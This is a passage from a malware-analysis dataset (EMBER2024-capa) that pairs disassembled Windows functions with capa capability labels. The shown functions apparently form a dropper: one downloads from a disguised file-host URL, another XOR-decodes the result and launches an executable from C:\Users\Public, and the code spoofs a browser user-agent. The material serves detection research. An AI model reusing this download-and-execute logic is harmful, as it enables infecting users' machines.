joyce8/EMBER2024-capa huggingface dataset:
Function at 0x180991058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1809911df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x180991089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18099106f
add dl, dl
jne 0x180991096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1809910f6
xor eax, eax
add dl, dl
jne 0x1809910a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1809911ad
add dl, dl
jne 0x1809910b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1809910c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1809910d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1809910dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1809910ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18099107e
mov eax, 1
add dl, dl
jne 0x180991106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x180991113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1809910fb
sub eax, ebx
mov ebx, 1
jne 0x18099114c
mov ecx, 1
add dl, dl
jne 0x18099112e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18099113b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x180991123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18099107e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x180991168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x180991175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18099115d
cmp eax, 0x7d00
jae 0x18099119b
cmp eax, 0x500
jb 0x180991196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18099107e
invalid
invalid
invalid
invalid
cmp eax, 0x7f
ja 0x18099119e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18099107e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1809911d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18099107e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x1400011d0
Capabilities:
Reference http user-agent string

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov rax, qword [rsp + 0x60]
add rax, 0x20
mov rcx, rax
call fcn.1400016a0
mov r8, rax
mov edx, 0x2712
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.1400124b0
lea rdx, str.Mozilla_5.0__Windows_NT_6.1__WOW64__rv:13.0__Gecko_20100101_Firefox_13.0.1
lea rcx, [rsp + 0x20]
call fcn.1400015a0
nop
lea rcx, [rsp + 0x20]
call fcn.1400016a0
mov r8, rax
mov edx, 0x2722
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.1400124b0
mov r8d, 5
mov edx, 0x44
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.1400124b0
mov r8d, 1
mov edx, 0x34
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.1400124b0
mov r8d, 1
mov edx, 0x63
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.1400124b0
xor r8d, r8d
mov edx, Ordinal_50
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.1400124b0
lea r8, [0x140001430]
mov edx, 0x4e2b
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.1400124b0
mov r8, qword [rsp + 0x60]
mov edx, 0x2711
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.1400124b0
xor r8d, r8d
mov edx, 0x40
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.1400124b0
xor r8d, r8d
mov edx, 0x51
mov rax, qword [rsp + 0x60]
mov rcx, qword [rax + 8]
call fcn.1400124b0
nop
lea rcx, [rsp + 0x20]
call fcn.140001610
add rsp, 0x58
ret

Function at 0x140001480
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x38
mov rax, qword [rsp + 0x40]
mov r9, qword [rax + 0x10]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x48]
call fcn.14004fe20
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
add rsp, 0x38
ret
Function at 0x1400021e0
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x178
lea rdx, str.bvisdhhofhdfbxbcvrghg
lea rcx, str.C:UsersPublicC6PkXaqjsaC4pf66Zn8YbjnZq8dl.dat
call fcn.1400111f0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140002218
xor eax, eax
jmp 0x140002312
mov rdx, qword [rsp + 0x180]
mov rcx, qword [rsp + 0x20]
call fcn.1400113b0
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x14000224c
mov rcx, qword [rsp + 0x20]
call fcn.140011430
xor eax, eax
jmp 0x140002312
lea r8, [rsp + 0x30]
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x20]
call fcn.140011220
mov dword [rsp + 0x160], eax
cmp dword [rsp + 0x160], 0
je 0x140002282
mov rcx, qword [rsp + 0x20]
call fcn.140011430
xor eax, eax
jmp 0x140002312
mov eax, dword [rsp + 0x30]
mov dword [rsp + 0x164], eax
mov dword [rsp + 0x168], 0
jmp 0x1400022aa
mov eax, dword [rsp + 0x168]
inc eax
mov dword [rsp + 0x168], eax
mov eax, dword [rsp + 0x164]
cmp dword [rsp + 0x168], eax
jge 0x1400022f6
lea r8, [rsp + 0x30]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.140011220
mov dword [rsp + 0x160], eax
lea r8, [rsp + 0x34]
mov edx, dword [rsp + 0x168]
mov rcx, qword [rsp + 0x20]
call fcn.140011370
mov dword [rsp + 0x160], eax
jmp 0x14000229a
mov rcx, qword [rsp + 0x20]
call fcn.140011430
lea rcx, str.C:UsersPublicC6PkXaqjsaC4pf66Zn8YbjnZq8dl.dat
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov eax, 1
add rsp, 0x178
ret

Function at 0x140002360
Capabilities:
Read file on windows
Write file on windows

Disassembly:
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x60
mov dword [rsp + 0x24], 0
mov rcx, qword [rsp + 0x70]
call fcn.140002320
xor eax, eax
mov rcx, 0xffffffffffffffff
mov rdi, qword [rsp + 0x80]
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rax, rcx
mov dword [rsp + 0x34], eax
lea rdx, [0x14006a8ec]
mov rcx, qword [rsp + 0x70]
call fcn.14004fc88
mov qword [rsp + 0x28], rax
lea rdx, [0x14006a8f0]
mov rcx, qword [rsp + 0x78]
call fcn.14004fc88
mov qword [rsp + 0x50], rax
mov rcx, qword [rsp + 0x28]
call fcn.140050d18
test eax, eax
jne 0x14000245e
mov r9, qword [rsp + 0x28]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.140050cf8
mov rcx, qword [rsp + 0x28]
call fcn.140050d18
test eax, eax
jne 0x140002459
mov eax, dword [rsp + 0x24]
cdq
idiv dword [rsp + 0x34]
mov eax, edx
cdqe
mov rcx, qword [rsp + 0x80]
movzx eax, byte [rcx + rax]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x20]
movsx ecx, byte [rsp + 0x30]
xor eax, ecx
mov byte [rsp + 0x20], al
mov r9, qword [rsp + 0x50]
mov r8d, 1
mov edx, 1
lea rcx, [rsp + 0x20]
call fcn.14004fe20
mov eax, dword [rsp + 0x24]
inc eax
mov dword [rsp + 0x24], eax
jmp 0x1400023d2
mov rcx, qword [rsp + 0x28]
call fcn.14004fb48
mov rcx, qword [rsp + 0x50]
call fcn.14004fb48
add rsp, 0x60
pop rdi
ret
Function at 0x140002480
Capabilities:
Create process on windows

Disassembly:
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x108
mov qword [rsp + 0xf8], 0xfffffffffffffffe
call qword [sym.imp.KERNEL32.dll_FreeConsole]
cmp dword [rsp + 0x110], 1
jg 0x14000259e
lea rcx, [rsp + 0x30]
call fcn.140001000
nop
lea rdx, str.C:UsersPublicFn3kpiVvpLA8Pst4ySmvG3wizb.dat
lea rcx, [rsp + 0xa0]
call fcn.1400015a0
nop
lea rdx, str.https:__dlink.host_1drv_aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBa0ZQRnBaT2Q2d0FnamZMRWVKMGVqc2d4S0JIP2U9dGttbUgy.jpg
lea rcx, [rsp + 0xc8]
call fcn.1400015a0
nop
lea r8, [rsp + 0xa0]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x30]
call fcn.140001310
nop
lea rcx, [rsp + 0xc8]
call fcn.140001610
nop
lea rcx, [rsp + 0xa0]
call fcn.140001610
lea rcx, [rsp + 0x30]
call fcn.140001120
lea r8, str.430ce34d020724ed75a196d
lea rdx, str.C:UsersPublicC6PkXaqjsaC4pf66Zn8YbjnZq8dl.dat
lea rcx, str.C:UsersPublicFn3kpiVvpLA8Pst4ySmvG3wizb.dat
call fcn.140002360
lea rdx, str.C:UsersPublicC6PkXaqjsaC4pf66Zn8YbjnZq8dl.dat
lea rcx, str.C:UsersPublic_
call fcn.1400021e0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, [0x14006a8d5]
lea r8, str.C:UsersPublic_stdio_vtreamsetup.exe
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [rsp + 0xf0], 0
lea rcx, [rsp + 0x30]
call fcn.1400010c0
mov eax, dword [rsp + 0xf0]
jmp 0x1400025a0
xor eax, eax
add rsp, 0x108
ret
Function at 0x140004b00
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0xd8
mov qword [rsp + 0xa0], 0xfffffffffffffffe
mov rax, qword [rsp + 0xe0]
cmp qword [rax + 0x80], 0
je 0x140004b3d
mov rax, qword [rsp + 0xe0]
movzx eax, byte [rax + 0x89]
test eax, eax
jne 0x140004b49
mov al, 1
jmp 0x140004db5
mov dword [rsp + 0x30], 8
call fcn.140002800
mov rcx, qword [rsp + 0xe0]
mov rcx, qword [rcx]
mov qword [rsp + 0xa8], rcx
mov edx, eax
mov rcx, qword [rsp + 0xe0]
mov rax, qword [rsp + 0xa8]
call qword [rax + Ordinal_26]
mov dword [rsp + 0x70], eax
call fcn.140002800
mov dword [rsp + 0x74], eax
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x74]
call fcn.1400027c0
movzx eax, al
test eax, eax
je 0x140004ba8
xor al, al
jmp 0x140004db5
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140003f30
nop
lea rdx, [rsp + 0x78]
lea rcx, [rsp + 0x40]
call fcn.1400025b0
mov rcx, rax
call fcn.140004f60
mov qword [rsp + 0xb0], rax
lea rcx, [rsp + 0x40]
call fcn.140001a30
mov rcx, qword [rsp + 0xb0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xb8], rax
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0x40]
call fcn.1400025b0
mov rcx, rax
call fcn.140004f60
mov rcx, qword [rsp + 0xe0]
add rcx, 0x8c
lea rdx, [rsp + 0x38]
mov qword [rsp + 0x20], rdx
mov rdx, qword [rsp + 0xb8]
mov r9, rdx
mov r8, rax
mov rdx, rcx
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rax + 0x80]
call fcn.140005610
mov dword [rsp + 0xc0], eax
cmp dword [rsp + 0xc0], 0
je 0x140004c80
cmp dword [rsp + 0xc0], 1
je 0x140004c8f
cmp dword [rsp + 0xc0], 3
je 0x140004d6d
jmp 0x140004d89
mov rax, qword [rsp + 0xe0]
mov byte [rax + 0x89], 0
lea rdx, [rsp + 0x88]
lea rcx, [rsp + 0x40]
call fcn.1400025b0
mov rcx, rax
call fcn.140004f60
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x68], rax
cmp qword [rsp + 0x68], 0
jbe 0x140004d22
lea rdx, [rsp + 0x90]
lea rcx, [rsp + 0x40]
call fcn.1400025b0
mov rcx, rax
call fcn.140004f60
mov rcx, qword [rsp + 0xe0]
mov r9, qword [rcx + 0x98]
mov r8, qword [rsp + 0x68]
mov edx, 1
mov rcx, rax
call fcn.14004fe20
cmp qword [rsp + 0x68], rax
je 0x140004d22
mov byte [rsp + 0x98], 0
lea rcx, [rsp + 0x40]
call fcn.140001610
movzx eax, byte [rsp + 0x98]
jmp 0x140004db5
mov rax, qword [rsp + 0xe0]
movzx eax, byte [rax + 0x89]
test eax, eax
jne 0x140004d51
mov byte [rsp + 0x99], 1
lea rcx, [rsp + 0x40]
call fcn.140001610
movzx eax, byte [rsp + 0x99]
jmp 0x140004db5
cmp qword [rsp + 0x68], 0
jne 0x140004d6b
xor r8d, r8d
mov edx, 8
lea rcx, [rsp + 0x40]
call fcn.140003fa0
jmp 0x140004da5
mov byte [rsp + 0x9a], 1
lea rcx, [rsp + 0x40]
call fcn.140001610
movzx eax, byte [rsp + 0x9a]
jmp 0x140004db5
mov byte [rsp + 0x9b], 0
lea rcx, [rsp + 0x40]
call fcn.140001610
movzx eax, byte [rsp + 0x9b]
jmp 0x140004db5
jmp 0x140004bbb
add rsp, 0xd8
ret
Function at 0x14000c1a0
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
mov byte [rsp + 0x10], dl
mov qword [rsp + 8], rcx
movsx eax, byte [rsp + 0x10]
mov rcx, qword [rsp + 8]
mov ecx, dword [rcx]
xor ecx, eax
mov eax, ecx
and eax, 0xff
cdqe
lea rcx, [0x14006c870]
mov rdx, qword [rsp + 8]
mov edx, dword [rdx]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov rcx, qword [rsp + 8]
mov dword [rcx], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax]
and eax, 0xff
mov rcx, qword [rsp + 8]
add eax, dword [rcx + 4]
mov rcx, qword [rsp + 8]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 4]
imul eax, eax, 0x8088405
inc eax
mov rcx, qword [rsp + 8]
mov dword [rcx + 4], eax
mov rax, qword [rsp + 8]
mov eax, dword [rax + 4]
shr eax, 0x18
mov rcx, qword [rsp + 8]
mov ecx, dword [rcx + 8]
xor ecx, eax
mov eax, ecx
and eax, 0xff
mov eax, eax
lea rcx, [0x14006c870]
mov rdx, qword [rsp + 8]
mov edx, dword [rdx + 8]
shr edx, 8
mov eax, dword [rcx + rax*4]
xor eax, edx
mov rcx, qword [rsp + 8]
mov dword [rcx + 8], eax
ret

Function at 0x14000d630
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x48
mov rax, qword [rsp + 0x68]
imul rax, qword [rsp + 0x70]
mov dword [rsp + 0x34], eax
mov rax, qword [rsp + 0x78]
movzx eax, byte [rax]
test eax, eax
je 0x14000d6ad
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x3c]
mov r8d, dword [rsp + 0x34]
mov rdx, qword [rsp + 0x60]
mov rax, qword [rsp + 0x78]
mov rcx, qword [rax + 8]
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov dword [rsp + 0x38], eax
cmp dword [rsp + 0x38], 0
jne 0x14000d6a0
mov rax, qword [rsp + 0x78]
mov byte [rax + 0x10], 1
mov eax, dword [rsp + 0x3c]
xor edx, edx
div qword [rsp + 0x68]
jmp 0x14000d721
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x2c]
add eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x78]
cmp eax, dword [rcx + 0x28]
jbe 0x14000d6d9
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rcx + 0x2c]
mov eax, dword [rax + 0x28]
sub eax, ecx
mov dword [rsp + 0x34], eax
mov eax, dword [rsp + 0x34]
mov rcx, qword [rsp + 0x78]
mov ecx, dword [rcx + 0x2c]
mov rdx, qword [rsp + 0x78]
add rcx, qword [rdx + 0x20]
mov rdi, qword [rsp + 0x60]
mov rsi, rcx
mov ecx, eax
rep movsb byte [rdi], byte [rsi]
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x30], eax
mov rax, qword [rsp + 0x78]
mov eax, dword [rax + 0x2c]
add eax, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x78]
mov dword [rcx + 0x2c], eax
mov eax, dword [rsp + 0x30]
xor edx, edx
div qword [rsp + 0x68]
add rsp, 0x48
pop rdi
pop rsi
ret
Function at 0x14000f510
Capabilities:
Get common file path

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x68
mov rax, qword [rsp + 0x80]
cmp qword [rax], 0
jne 0x14000f546
mov rax, qword [rsp + 0x80]
cmp dword [rax + 8], 0xffffffff
je 0x14000f550
mov eax, 0x1000000
jmp 0x14000f6d6
mov rax, qword [rsp + 0x80]
add rax, 0x150
mov rdx, rax
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov rax, qword [rsp + 0x80]
add rax, 0x150
mov qword [rsp + 0x38], rax
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x40]
mov rax, rdx
mov rdx, qword [rsp + 0x38]
mov rdi, rdx
repne scasb al, byte [rdi]
not rcx
dec rcx
mov rax, rcx
mov rcx, qword [rsp + 0x80]
movzx eax, byte [rcx + rax + 0x14f]
mov byte [rsp + 0x28], al
movsx eax, byte [rsp + 0x28]
cmp eax, 0x5c
je 0x14000f61d
movsx eax, byte [rsp + 0x28]
cmp eax, 0x2f
je 0x14000f61d
mov rax, qword [rsp + 0x80]
add rax, 0x150
mov qword [rsp + 0x48], rax
xor ecx, ecx
mov qword [rsp + 0x50], rcx
mov rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x50]
mov rax, rdx
mov rdx, qword [rsp + 0x48]
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rdi
dec rax
lea rcx, [0x14006b20c]
mov rdi, rax
mov rsi, rcx
mov ecx, 2
rep movsb byte [rdi], byte [rsi]
cmp dword [rsp + 0x98], 1
jne 0x14000f676
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x30], eax
cmp dword [rsp + 0x30], 0xffffffff
je 0x14000f655
mov dword [rsp + 0x58], 1
jmp 0x14000f65d
mov dword [rsp + 0x58], 0
movzx eax, byte [rsp + 0x58]
mov byte [rsp + 0x34], al
movzx eax, byte [rsp + 0x34]
test eax, eax
jne 0x14000f676
mov eax, 0x2000000
jmp 0x14000f6d6
lea r9, [rsp + 0x2c]
mov r8d, dword [rsp + 0x98]
mov edx, dword [rsp + 0x90]
mov rcx, qword [rsp + 0x88]
call fcn.14000d1d0
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x14000f6aa
mov eax, dword [rsp + 0x2c]
jmp 0x14000f6d6
mov rcx, qword [rsp + 0x20]
call fcn.14000daf0
mov rcx, qword [rsp + 0x80]
mov qword [rcx], rax
mov rax, qword [rsp + 0x80]
cmp qword [rax], 0
jne 0x14000f6d4
mov eax, 0x200
jmp 0x14000f6d6
xor eax, eax
add rsp, 0x68
pop rdi
pop rsi
ret
Function at 0x140010450
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x298
cmp qword [rsp + 0x2b0], 0
je 0x140010491
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140010491
xor edx, edx
mov rcx, qword [rsp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rax, qword [rsp + 0x2b8]
movsx eax, byte [rax]
test eax, eax
jne 0x1400104a5
jmp 0x1400106a2
mov rax, qword [rsp + 0x2b8]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
test eax, eax
je 0x140010510
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x2f
je 0x1400104ee
mov rax, qword [rsp + 0x148]
movsx eax, byte [rax]
cmp eax, 0x5c
jne 0x1400104fb
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x148]
inc rax
mov qword [rsp + 0x148], rax
jmp 0x1400104bf
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x2b8]
cmp qword [rsp + 0x20], rax
je 0x14001059a
mov rax, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
lea rcx, [rsp + 0x150]
mov rdi, rcx
mov rsi, qword [rsp + 0x2b8]
mov rcx, rax
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x2b8]
mov rcx, qword [rsp + 0x20]
sub rcx, rax
mov rax, rcx
mov byte [rsp + rax + 0x150], 0
lea rdx, [rsp + 0x150]
mov rcx, qword [rsp + 0x2b0]
call fcn.140010450
mov rax, qword [rsp + 0x140]
inc rax
mov qword [rsp + 0x140], rax
mov byte [rsp + 0x30], 0
cmp qword [rsp + 0x2b0], 0
je 0x14001062f
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x260], rax
lea rax, [rsp + 0x30]
mov qword [rsp + 0x268], rax
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0x270], rax
mov rax, qword [rsp + 0x260]
movzx eax, byte [rax]
mov byte [rsp + 0x278], al
mov rax, qword [rsp + 0x268]
movzx ecx, byte [rsp + 0x278]
mov byte [rax], cl
mov rax, qword [rsp + 0x260]
inc rax
mov qword [rsp + 0x260], rax
mov rax, qword [rsp + 0x268]
inc rax
mov qword [rsp + 0x268], rax
cmp byte [rsp + 0x278], 0
jne 0x1400105db
lea rax, [rsp + 0x30]
mov qword [rsp + 0x280], rax
xor ecx, ecx
mov qword [rsp + 0x288], rcx
mov rcx, 0xffffffffffffffff
mov rdx, qword [rsp + 0x288]
mov rax, rdx
mov rdx, qword [rsp + 0x280]
mov rdi, rdx
repne scasb al, byte [rdi]
mov rax, rdi
dec rax
mov rcx, qword [rsp + 0x2b8]
xor edx, edx
movzx edi, byte [rcx + rdx]
mov byte [rax + rdx], dil
inc rdx
test dil, dil
jne 0x140010675
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x1400106a2
xor edx, edx
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
add rsp, 0x298
pop rdi
pop rsi
ret
Function at 0x1400122b0
Capabilities:
Initialize winsock library

Disassembly:
sub rsp, 0x1d8
mov rax, qword [0x140084de0]
xor rax, rsp
mov qword [rsp + 0x1c0], rax
lea rdx, [rsp + 0x20]
mov ecx, 0x202
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x140012311
movzx eax, word [rsp + 0x20]
cmp al, 2
jne 0x14001230b
shr ax, 8
cmp al, 2
jne 0x14001230b
call fcn.140012760
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1400522b0
add rsp, 0x1d8
ret
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 2
mov rcx, qword [rsp + 0x1c0]
xor rcx, rsp
call fcn.1400522b0
add rsp, 0x1d8
ret
Function at 0x140014770
Capabilities:
Generate random numbers via winapi

Disassembly:
mov rcx, rdx
mov rdx, r8
jmp 0x140028a80
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
mov rdi, rcx
mov rbx, rdx
lea rcx, [rsp + 0x50]
mov r9d, 1
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x50], 0
mov dword [rsp + 0x20], 0xf0000040
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x140028adc
mov rcx, qword [rsp + 0x50]
mov r8, rdi
mov edx, ebx
call qword [sym.imp.ADVAPI32.dll_CryptGenRandom]
mov rcx, qword [rsp + 0x50]
xor edx, edx
test eax, eax
jne 0x140028aec
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, 2
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rbx, qword [rsp + 0x40]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x1400147d0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
cmp dword [rcx + 4], 2
mov rax, rdx
je 0x1400147dc
xor eax, eax
ret
mov rdx, qword [rcx + 0x20]
mov r9, r8
mov r8, rax
add rdx, 4
mov ecx, 2
jmp fcn.14002aa20
Function at 0x14001f720
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r9
xor r9d, r9d
call qword [sym.imp.WS2_32.dll_recv]
movsxd rcx, eax
cmp rcx, 0xffffffffffffffff
jne 0x14001f75b
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, Ordinal_60
mov edx, 0x51
cmp eax, 0x2733
cmove ecx, edx
mov eax, ecx
add rsp, 0x20
pop rbx
ret
mov qword [rbx], rcx
xor eax, eax
add rsp, 0x20
pop rbx
ret

Function at 0x14001f8e0
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov r10, qword [rcx + 0x268]
mov rdi, r9
mov rsi, r8
mov rbx, rcx
test r10, r10
je 0x14001f923
mov rax, qword [rcx + 0x1b8]
mov qword [rsp + 0x20], rax
call r10
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
test edx, edx
js 0x14001f96a
cmp edx, 2
jg 0x14001f96a
mov r9, qword [rbx + 0x1b0]
movsxd rax, edx
mov edx, 2
lea rcx, [rax + rax*2]
lea rax, [0x14006e5f8]
lea r8d, [rdx - 1]
add rcx, rax
call fcn.14004fe20
mov r9, qword [rbx + 0x1b0]
mov r8d, 1
mov rdx, rdi
mov rcx, rsi
call fcn.14004fe20
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
xor eax, eax
add rsp, 0x30
pop rdi
ret

Function at 0x14001fff0
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbx, rcx
movsxd rcx, edx
mov rax, qword [rbx + 0x5e0]
mov rbp, qword [rbx + rcx*8 + 0x210]
mov rdi, rcx
shl rdi, 5
mov rsi, qword [rdi + rbx + 0x260]
sub rsi, qword [rdi + rbx + 0x268]
test byte [rax + 0x74], 3
je 0x140020107
lea rax, [0x14001fd40]
cmp qword [rbx + rcx*8 + 0x238], rax
jne 0x140020107
cmp qword [rdi + rbx + 0x258], 0
je 0x140020063
test rsi, rsi
je 0x140020107
or r8, 0xffffffffffffffff
xor r9d, r9d
mov rcx, rbp
or rdx, r8
call fcn.140012b00
cmp eax, 0xffffffff
je 0x140020107
test al, 1
je 0x140020107
cmp qword [rdi + rbx + 0x258], 0
jne 0x1400200d9
mov ecx, 0x8000
mov qword [rdi + rbx + 0x260], 0x8000
call qword [fcn.140051ce4]
mov rsi, qword [rdi + rbx + 0x260]
xor ecx, ecx
mov qword [rdi + rbx + 0x268], rcx
mov qword [rdi + rbx + 0x270], rcx
mov qword [rdi + rbx + 0x258], rax
test rax, rax
jne 0x1400200d9
mov qword [rdi + rbx + 0x260], rcx
jmp 0x140020107
mov rdx, qword [rdi + rbx + 0x258]
xor r9d, r9d
mov r8d, esi
add rdx, qword [rdi + rbx + 0x268]
mov rcx, rbp
